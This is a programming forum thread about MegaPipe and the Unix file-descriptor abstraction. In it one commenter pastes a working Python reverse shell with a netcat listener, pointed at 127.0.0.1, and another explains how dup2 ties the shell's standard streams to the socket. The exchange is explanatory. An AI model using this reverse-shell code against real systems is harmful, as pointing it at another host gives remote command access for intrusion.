4 ms·
With megapipe, would you still be able to write an event loop that operates on their lwsocket and regular file descriptors from pipes? If not that would compli
by chubot 13y ago
With megapipe, would you still be able to write an event loop that operates on their lwsocket and regular file descriptors from pipes? If not that would complicate many applications.
The fact that I/O is unified under file descriptors is a great abstraction and one of the key design points of Unix, although DJB makes a good point that there should have been two file descriptors for sockets: http://cr.yp.to/tcpip/twofd.html http://cr.yp.to/tcpip/twofd.html
I ran into a pretty neat usage of sockets as files the other day (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-ch...)
However I am not exactly sure how this code works, but try it:
$ nc -l 127.0.0.1 1234
then:
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
If someone can explain why exactly this works I'm interested. I mean I sort of get it but I am not sure how the socket descriptors can get mapped to stderr, stdout, stdin and everything works.
- simcop2387 13y agonetcat is listening on your machine. the python script is connecting to your machine and giving you a shell. dup2 will take one file descriptor and change it into another. 0 is STDIN's file descriptor by default in *nix (I believe this is standard POSIX, but i could be wrong). 1 is STDOUT, 2 is STDERR. os.dup2 in this case is taking the file descriptor for the socket and placing it into STDIN, STDOUT, and STDERR. At this point all the code that does anything with these will end up writing to the TCP socket instead. When subprocess.call is used, it will inherit the parent's STDIN, STDOUT, and STDERR handles, in this case the TCP socket. So when the shell tries to output anything it'll go to the TCP socket, when it tries to read it'll go to the TCP socket and get the information. This is the same way that things like nohup work, by putting all the sockets to a file, the process doesn't get killed when the tty goes away, since it doesn't have one. It also grabs some of the signals from the child first also so the shell doesn't kill it directly.